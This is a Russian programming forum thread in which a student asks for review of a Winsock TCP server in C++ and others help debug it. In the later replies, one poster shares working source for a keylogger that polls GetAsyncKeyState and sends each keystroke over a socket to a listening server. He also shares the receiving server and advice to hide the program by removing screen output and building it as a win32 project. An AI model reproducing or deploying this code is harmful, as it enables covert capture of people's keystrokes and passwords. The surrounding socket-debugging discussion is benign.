Форум программистов, компьютерный форум, киберфорум
C++: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.75/55: Рейтинг темы: голосов - 55, средняя оценка - 4.75
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649

Работа с сокетами. Создание сокета сервера

18.11.2011, 11:50. Показов 11880. Ответов 42
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Проверьте, пожалуйста программу (она еще не дописана до конца), выскажите замечания.

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <stdlib.h>
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <iostream.h>
 
#pragma comment(lib,"ws2_32.lib")
 
 
int main (void)
{
    //Èíèöèàëèçèðóåì áèáëèîòåêó WinSock ñ ïðîìîùüþ âûçîâà ôóíêöèè WSAStartup 
    
    WSADATA wsaData;
 
    if (WSAStartup (MAKEWORD(2,2), &wsaData)==0) 
    {
        //Ôóíêöèÿ âîçâðàùàåò íóëåâîå çíà÷åíèå, èíèöèàëèçàöèÿ óäàëàñü
        // Ïðîâåðÿåì åñëè ñòàðøàÿ âåðñèÿ áîëüøå èëè ðàâíà òðåáóåìîé
        if (LOBYTE (wsaData.wVersion) >= 2)
        {
            //Âûçûâàåì ðàçëè÷íûå WinSock ôóíêöèè
        }
        else
        {
            //Òðåáóåìàÿ âåðñèÿ íåäîñòóïíà
        }
 
        //Îñâîáîæäàåì WinSock
        if (WSACleanup () !=0)
        {
            //Îñâîáîæäåíèå íå óäàëîñü
        }
    }
    else
    {
        //Ôóíêöèÿ âîçâðàùàåò íåíóëåâîå çíà÷åíèå, èíèöèàëèçàöèÿ íå óäàëàñü
    }
    
    //Ñîçäàíèå ñîêåòà Server
    SOCKET Server;
        Server = socket (AF_INET, SOCK_STREAM, 0);
        //AF_INET ïðîòîêîë Èíòåðíåòà (IP)
        //SOCK_STREAM ïîòîêîâûé ñîêåò
        //0 ïî óìîë÷àíèþ âûáèðàåòñÿ TCP ïðîòîêîë
    
    //Åñëè íå óäàëîñü ñîçäàòü ñîêåò
    if (Server==INVALID_SOCKET)
    {
        cout << "Error socket " << WSAGetLastError() <<"\n";
        WSACleanup (); // Äåèíèöèàëèçàöèÿ áèáëèîòåêè WinSock
        return -1;
 
    }
    
    //Ñâÿçûâàíèå ñîêåòà Server ñ ëîêàëüíûì àäðåñîì (IP-àäðåñ óçëà è íîìåð ïîðòà)
    sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_port = htons(8000);
    ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");
    
    if (bind (Server, (sockaddr*)&ServerAddr, sizeof(ServerAddr)))
    {
        //Ôóíêöèÿ âîçâðàùàåò íåíóëåâîå çíà÷åíèå, îøèáêà
        cout << "Error socket " << WSAGetLastError() <<"\n";
        closesocket(Server); //Çàêðûâàåì ñîêåò Server
        WSACleanup (); // Äåèíèöèàëèçàöèÿ áèáëèîòåêè WinSock
        return -1;
    }   
 
    //Ïåðåâîä ïîòîêîâîãî ñåðâåðà â ðåæèì îæèäàíèÿ ïîäêëþ÷åíèé êëèåíòà
    if (listen (Server, SOMAXCONN)) //SOMAXCONN óñòàíàâëèâàåò ìàêñèìàëüíîå êîëè÷åñòâî îæèäàåìûõ ñîåäèíåíèé
    {
        //Ôóíêöèÿ âîçâðàùàåò íåíóëåâîå çíà÷åíèå, îøèáêà
        cout << "Error socket" << WSAGetLastError() <<"\n";
        closesocket(Server); //Çàêðûâàåì ñîêåò Server
        WSACleanup (); // Äåèíèöèàëèçàöèÿ áèáëèîòåêè WinSock
        return -1;
    }
    cout << "Waiting...\n";
 
    SOCKET Client; //Ñîêåò äëÿ êëèåíòà
    sockaddr_in ClientAddr; // Àäðåñ êëèåíòà (çàïîëíÿåòñÿ ñèñòåìîé)
 
    int ClientAddrSize = sizeof(ClientAddr);
 
    //Ïîäòâåðæäåíèå ïîäêëþ÷åíèÿ êëèåíòà ê ñîêåòó Server
    Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize);
    if (Client==INVALID_SOCKET)
    {
        //Äåéñòâèÿ â ñëó÷àå îøèáêè
    }
 
 
 
return 0;
}
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
18.11.2011, 11:50
Ответы с готовыми решениями:

Определить отключение сокета от сервера
Нашёл пару тем на форуме но не понял как сделать :) Там написано что при нормальном отключение сервер шлёт сообщение длиной 0 байт, но как...

Считывание ответа сервера из сокета
Всем добрый вечер! Недавно начал работать с сокетами и почти сразу столкнулся с проблемой - не могу считать ответ сервера. Функция recv()...

Как получить IP-адрес сервера из его сокета?
Всем добрый день. Помогите, пожалуйста, разобраться. Есть клиент серверное приложение на сокетах. Серверная часть: ...

42
 Аватар для xAtom
935 / 760 / 299
Регистрация: 09.12.2010
Сообщений: 1,346
Записей в блоге: 1
18.11.2011, 11:57
Цитата Сообщение от Heidel Посмотреть сообщение
Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize);
Если не асинхронный сокет-сервер пишешь то функцию accept нужно в цикле в дополнительном потоке вызывать, пущай ждёт новых клиентов там, не мешая основному потоку.
1
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649
19.11.2011, 08:07  [ТС]
xAtom, у сервера только один клиент, как писать в таком случае?

Добавлено через 2 часа 42 минуты
Приведенная выше программа выдает ошибку на стадии создания сокета Socket error 10093 - Successful WSAStartup not yet performed. Подскажите, как её исправить?

Добавлено через 17 часов 23 минуты
Сейчас программа выглядит таким образом

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <stdlib.h>
#include <stdio.h>
 
#include <winsock2.h>
#include <windows.h>
 
#include <iostream.h>
 
 
int main (void)
{
    //Инициализируем библиотеку WinSock с промощью вызова функции WSAStartup 
    
    WSADATA wsaData;
 
    if (WSAStartup (0x0202, &wsaData)) 
    {
        //Функция возвращает ненулевое значение, инициализация не удалась
        cout << "Error WSAStartup " << WSAGetLastError() <<"\n";
        return -1;
    }
    
    //Создание сокета Server
    SOCKET Server;
        Server = socket (AF_INET, SOCK_STREAM, 0);
        //AF_INET протокол Интернета (IP)
        //SOCK_STREAM потоковый сокет
        //0 по умолчанию выбирается TCP протокол
    
    //Если не удалось создать сокет
    if (Server==INVALID_SOCKET)
    {
        cout << "Socket failed " << WSAGetLastError() <<"\n";
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
 
    }
    
    //Связывание сокета Server с локальным адресом (IP-адрес узла и номер порта)
    sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_port = htons(8000);
    ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");
            
    if (bind (Server, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)))
    {
        //Функция возвращает ненулевое значение, ошибка
        cout << "Bind failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }   
 
    //Перевод потокового сервера в режим ожидания подключений клиента
    if (listen (Server, 1))
    {
        //Функция возвращает ненулевое значение, ошибка
        cout << "Listen failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }
 
    cout << "Waiting...\n";
 
    SOCKET Client; //Сокет для клиента
    sockaddr_in ClientAddr; // Адрес клиента (заполняется системой)
 
    int ClientAddrSize = sizeof(ClientAddr);
 
    //Подтверждение подключения клиента к сокету Server
    while (Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize));
    if (Client==INVALID_SOCKET)
    {
        //Действия в случае ошибки
        cout << "Accept failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }
 
    /*cout << "Accepted client " << inet_ntoa(Client.sin_addr), 
        ntohs(Client.sin_port);*/
 
 
closesocket (Server);
 
WSACleanup ();
 
return 0;
}
Где-то между bind и listen программа уходит непонятно куда, до выполнения строки cout << "Waiting...\n"; она не доходит, есть предположение, что ей не нравится форма записи ай-пи адреса ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");. Подскажите, что не так?
0
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 13:32
Цитата Сообщение от Heidel Посмотреть сообщение
while (Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize));
';' - в конце строки
0
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649
19.11.2011, 13:58  [ТС]
niXman, cпасибо, да, действительно ошибка! только программа все равно не отрабатывает до этого места ((((
0
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 14:06
Heidel, покажи как исправил.
0
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649
19.11.2011, 14:11  [ТС]
niXman, *исправила

вот сейчас что написано
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <stdlib.h>
#include <stdio.h>
 
#include <winsock2.h>
#include <windows.h>
 
#include <iostream.h>
 
 
int main (void)
{
    //Инициализируем библиотеку WinSock с промощью вызова функции WSAStartup 
    
    WSADATA wsaData;
 
    if (WSAStartup (0x0202, &wsaData)) 
    {
        //Функция возвращает ненулевое значение, инициализация не удалась
        cout << "Error WSAStartup " << WSAGetLastError() <<"\n";
        return -1;
    }
    
    //Создание сокета Server
    SOCKET Server;
    Server = socket (AF_INET, SOCK_STREAM, 0); 
        //AF_INET протокол Интернета (IP)
        //SOCK_STREAM потоковый сокет
        //0 по умолчанию выбирается TCP протокол
        
    if (Server == INVALID_SOCKET)
    {
        //Если не удалось создать сокет
        cout << "Socket failed " << WSAGetLastError() <<"\n";
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
 
    }
    
    //Связывание сокета Server с локальным адресом (IP-адрес узла и номер порта)
    sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_port = htons(8000); 
    /*htons преобразует номер порта из порядка байтов локальной машины в сетевой порядок байт*/
    ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");
    //ServerAddr.sin_addr.S_un.S_addr = INADDR_ANY;
            
    if (bind (Server, (sockaddr*)&ServerAddr, sizeof(ServerAddr)))
    {
        //Функция возвращает ненулевое значение, ошибка
        cout << "Bind failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }   
 
    //Перевод потокового сервера в режим ожидания подключений клиента
    if (listen (Server, 1))
    {
        //Функция возвращает ненулевое значение, ошибка
        cout << "Listen failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }
 
    cout << "Waiting...\n";
 
    SOCKET Client; //Сокет для клиента
    sockaddr_in ClientAddr; // Адрес клиента (заполняется системой)
 
    int ClientAddrSize = sizeof(ClientAddr);
 
    //Подтверждение подключения клиента к сокету Server
    while (Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize))
    if (Client==INVALID_SOCKET)
    {
        //Действия в случае ошибки
        cout << "Accept failed " << WSAGetLastError() <<"\n";
        closesocket(Server); //Закрываем сокет Server
        WSACleanup (); // Деинициализация библиотеки WinSock
        return -1;
    }
 
    /*cout << "Accepted client " << inet_ntoa(Client.sin_addr), 
        ntohs(Client.sin_port);*/
 
 
closesocket (Server);
 
WSACleanup ();
 
return 0;
}
0
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 14:23
Цитата Сообщение от Heidel Посмотреть сообщение
//Подтверждение
во первых - это не подтверждение. это прием.
во вторых - как ты предполагаешь получить вывод, если ты в цикле на прием подключения?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <stdlib.h>
#include <stdio.h>
 
#include <winsock2.h>
#include <windows.h>
 
#include <iostream.h>
 
 
int main (void)
{
        //Инициализируем библиотеку WinSock с промощью вызова функции WSAStartup 
        
        WSADATA wsaData;
 
        if (WSAStartup (0x0202, &wsaData)) 
        {
                //Функция возвращает ненулевое значение, инициализация не удалась
                cout << "Error WSAStartup " << WSAGetLastError() <<"\n";
                return -1;
        }
        
        //Создание сокета Server
        SOCKET Server;
        Server = socket (AF_INET, SOCK_STREAM, 0); 
                //AF_INET протокол Интернета (IP)
                //SOCK_STREAM потоковый сокет
                //0 по умолчанию выбирается TCP протокол
                
        if (Server == INVALID_SOCKET)
        {
                //Если не удалось создать сокет
                cout << "Socket failed " << WSAGetLastError() <<"\n";
                WSACleanup (); // Деинициализация библиотеки WinSock
                return -1;
 
        }
        
        //Связывание сокета Server с локальным адресом (IP-адрес узла и номер порта)
        sockaddr_in ServerAddr;
        ServerAddr.sin_family = AF_INET;
        ServerAddr.sin_port = htons(8000); 
        /*htons преобразует номер порта из порядка байтов локальной машины в сетевой порядок байт*/
        ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");
        //ServerAddr.sin_addr.S_un.S_addr = INADDR_ANY;
                        
        if (bind (Server, (sockaddr*)&ServerAddr, sizeof(ServerAddr)))
        {
                //Функция возвращает ненулевое значение, ошибка
                cout << "Bind failed " << WSAGetLastError() <<"\n";
                closesocket(Server); //Закрываем сокет Server
                WSACleanup (); // Деинициализация библиотеки WinSock
                return -1;
        }       
 
        //Перевод потокового сервера в режим ожидания подключений клиента
        if (listen (Server, 1))
        {
                //Функция возвращает ненулевое значение, ошибка
                cout << "Listen failed " << WSAGetLastError() <<"\n";
                closesocket(Server); //Закрываем сокет Server
                WSACleanup (); // Деинициализация библиотеки WinSock
                return -1;
        }
 
        cout << "Waiting...\n";
 
        SOCKET Client; //Сокет для клиента
        sockaddr_in ClientAddr; // Адрес клиента (заполняется системой)
 
        int ClientAddrSize = sizeof(ClientAddr);
 
        //Подтверждение подключения клиента к сокету Server
        Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize);
        if (Client==INVALID_SOCKET)
        {
                //Действия в случае ошибки
                cout << "Accept failed " << WSAGetLastError() <<"\n";
                closesocket(Server); //Закрываем сокет Server
                WSACleanup (); // Деинициализация библиотеки WinSock
                return -1;
        }
 
        cout << "Accepted client " << inet_ntoa(Client.sin_addr), 
                ntohs(Client.sin_port);
 
 
closesocket (Server);
 
WSACleanup ();
 
return 0;
}
и что за компилятор такой древний?
0
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649
19.11.2011, 14:31  [ТС]
niXman, я пишу в Microsoft Visual C++
Я правильно понимаю, что если к серверу подключается только один клиент, то прием (т.е. функцию accept) в цикле писать не надо, а достаточно

C++
1
Client = accept(Server, (sockaddr*)&ClientAddr, &ClientAddrSize);
?

и если расскомментировать строку

C++
1
2
cout << "Accepted client " << inet_ntoa(Client.sin_addr), 
        ntohs(Client.sin_port);
при компилировании будут ошибки

H:\U1_Server\U1_Server.cpp(84) : error C2228: left of '.sin_addr' must have class/struct/union type
H:\U1_Server\U1_Server.cpp(85) : error C2228: left of '.sin_port' must have class/struct/union type
Error executing cl.exe.
0
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:10
Heidel, программирование игра на winsock прочитай и все вопросы сразу отпадут
Вложения
Тип файла: zip Kris_sock.zip (158.9 Кб, 292 просмотров)
0
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:15
Цитата Сообщение от niXman Посмотреть сообщение
ServerAddr.sin_addr.S_un.S_addr = inet_addr("192.168.2.80");
ServerAddr.sin_addr.s_addr = inet_addr("192.168.2.80");
0
 Аватар для Heidel
115 / 115 / 39
Регистрация: 11.10.2011
Сообщений: 649
19.11.2011, 15:17  [ТС]
Van111, я по этой статье и изучаю в основном. но как-то не очень пока понятно.
0
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:17
Цитата Сообщение от xAtom Посмотреть сообщение
Если не асинхронный сокет-сервер пишешь то функцию accept нужно в цикле в дополнительном потоке вызывать, пущай ждёт новых клиентов там, не мешая основному потоку.
а есть такой гибрид назывется WSAaccept
0
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 15:19
Цитата Сообщение от Heidel Посмотреть сообщение
Я правильно понимаю, что если к серверу подключается только один клиент, то прием (т.е. функцию accept) в цикле писать не надо
не надо.

Цитата Сообщение от Heidel Посмотреть сообщение
H:\U1_Server\U1_Server.cpp(84) : error C2228: left of '.sin_addr' must have class/struct/union type
H:\U1_Server\U1_Server.cpp(85) : error C2228: left of '.sin_port' must have class/struct/union type
ну так там ошибка.
Client замени на ClientAddr.
я этот код не компилил. нет ни венды, ни студии.
0
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:27
Heidel, вам повезло вот откопал свой старый сервак для моего кей логера
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include "winsock2.h"
#include "stdio.h"
#include "string.h"
#define Q (sockaddr*)
#define W send(((SOCKET*)cs)[0],str,strlen(str),0);
DWORD WINAPI CLIENT(LPVOID cs);
DWORD WINAPI CONEKT(LPVOID ss);
 
int main()
{
    WSADATA wsa;
    WSAStartup(0x202,&wsa);
    int n;
    SOCKET s;
    sockaddr_in ss;
    s=socket(AF_INET,SOCK_STREAM,0);
    ss.sin_family=AF_INET;
    ss.sin_port=htons(666);
    ss.sin_addr.s_addr=INADDR_ANY;
    bind(s,Q &ss,sizeof(ss));
    listen(s,5);
    DWORD thID;
    CreateThread(0,0,CONEKT,&s,0,&thID);
label:
    system("pause");
    goto label;
        return 0;   
}
 
DWORD WINAPI CONEKT(LPVOID ss)
{
DWORD thID;
SOCKET cs;
sockaddr_in css_in;
int size_css_in=sizeof(css_in);
while((cs=accept(((SOCKET*)ss)[0],Q &css_in,&size_css_in)))
    CreateThread(0,0,CLIENT,&cs,0,&thID);}  
 
 
DWORD WINAPI CLIENT(LPVOID cs)
{
char str=0;
SOCKET s=((SOCKET*)cs)[0];
timeval tim;
fd_set rv;
tim.tv_sec=0;
tim.tv_usec=100;
FD_ZERO(&rv);
FD_SET(s,&rv);
select(s,&rv,0,0,0);
for(;;)
{
      if(FD_ISSET(s,&rv))
      {
        if(recv(s,&str,1,0))
        printf("%c",str);
        else break;
      }
}
return 0;   
}
0
В астрале
Эксперт С++
 Аватар для ForEveR
8049 / 4806 / 655
Регистрация: 24.06.2010
Сообщений: 10,562
19.11.2011, 15:28
Van111,
C++
1
2
#define Q (sockaddr*)
#define W send(((SOCKET*)cs)[0],str,strlen(str),0);
Руки отрубить нафиг за такое.
И за метки.
2
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 15:29
Цитата Сообщение от ForEveR Посмотреть сообщение
Руки отрубить нафиг за такое.
и собакам скормить.
2
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:30
вот прога сканет клавиши тока чтоб её не было видно убери все выводы на экран и запусти как проект win32
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include "winsock2.h"
#include "stdio.h"
#define Q (sockaddr*)
 
int main()
{
    WSADATA wsa;
    WSAStartup(0x202,&wsa);
    SOCKET s;
    sockaddr_in ss;
    s=socket(AF_INET,SOCK_STREAM,0);
    ss.sin_family=AF_INET;
    ss.sin_port=htons(666);
    ss.sin_addr.s_addr=inet_addr("127.0.0.1");
    bind(s,Q &ss,sizeof(ss));
    int key;char qwe=171;
   
    while(!connect(s,Q&ss,sizeof(ss)))
    {
        printf("%s","1234");
        while(1) 
        {
            for(key = 3; key < 256; key++) 
            {
                if(GetAsyncKeyState(key))
                {
                    send(s,(char*)&key,1,0);
                    printf("%d",key);
                }    
            }
            if(GetAsyncKeyState(35)) 
            break;
            Sleep(150u);
        
     }   
         
        
                                                                        
    }
    return 0;   
}
0
Эксперт С++
 Аватар для niXman
3211 / 1459 / 74
Регистрация: 09.08.2009
Сообщений: 3,441
Записей в блоге: 2
19.11.2011, 15:31
Цитата Сообщение от Van111 Посмотреть сообщение
DWORD WINAPI CONEKT(LPVOID ss)
именовать функции/переменные/классы в верхнем регистре нельзя. это привилегия исключительно макросов и тайпдефов.
0
290 / 193 / 23
Регистрация: 03.08.2011
Сообщений: 2,824
Записей в блоге: 12
19.11.2011, 15:32
niXman,
ForEveR,
э........ ребята спокойней знаю что неправильно просто расчитывал что там АИ не хотел длинный код писать до функций не додумался вот и сделал макросами
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
19.11.2011, 15:32
Помогаю со студенческими работами здесь

Использование сокета в качестве сервера или клиента по ситуации
В большинстве клиент-серверных приложений сначала запускают сервер , затем клиентов. Но захотелось автоматизации , те автоматического...

Из-за чего событие чтение сокета у сервера может вызываться бесконечно?
Из за чего событие чтение у сервера может вызываться бесконечно? Если закрыть клиент как программу, то событие чтения на сервере вылетает...

Работа с сокетами
как вырубить локальный клиент?

Работа с сокетами
Доброго времени суток уважаемые форумчане. Давно хотел заняться изучением работы с сокетами в Делфи, и вот наконец-то руки дошли. Сразу...

Работа с сокетами
Пишу распределенное приложение. Сервер должен реагировать на множество клиентов. Для сервера написал что-то такое : server =...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Управление камерой с помощью скрипта OrbitControls.js на Three.js: Вращение, зум и панорамирование
8Observer8 05.03.2026
Содержание блога Финальная демка в браузере работает на Desktop и мобильных браузерах. Итоговый код: orbit-controls-threejs-js. zip. На мобильном - сканируйте QR-код. Вращайте камеру одним пальцем,. . .
SDL3 для Web (WebAssembly): Синхронизация спрайтов SDL3 и тел Box2D
8Observer8 04.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-sync-physics-sprites-sdl3-c. zip На первой гифке отладочные линии отключены, а на второй включены:. . .
SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий
8Observer8 02.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip Сканируйте QR-код на мобильном и вы увидите, что появится джойстик для управления главным героем. . . .
Реалии
Hrethgir 01.03.2026
Нет, я не закончил до сих пор симулятор. Эта задача сложнее. Не получилось уйти в плавсостав, но оно и к лучшему, возможно. Точнее получалось - но сварщиком в палубную команду, а это значит, в моём. . .
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
SDL3 для Web (WebAssembly): Сборка библиотек: SDL3, Box2D, FreeType, SDL3_ttf, SDL3_mixer и SDL3_image из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru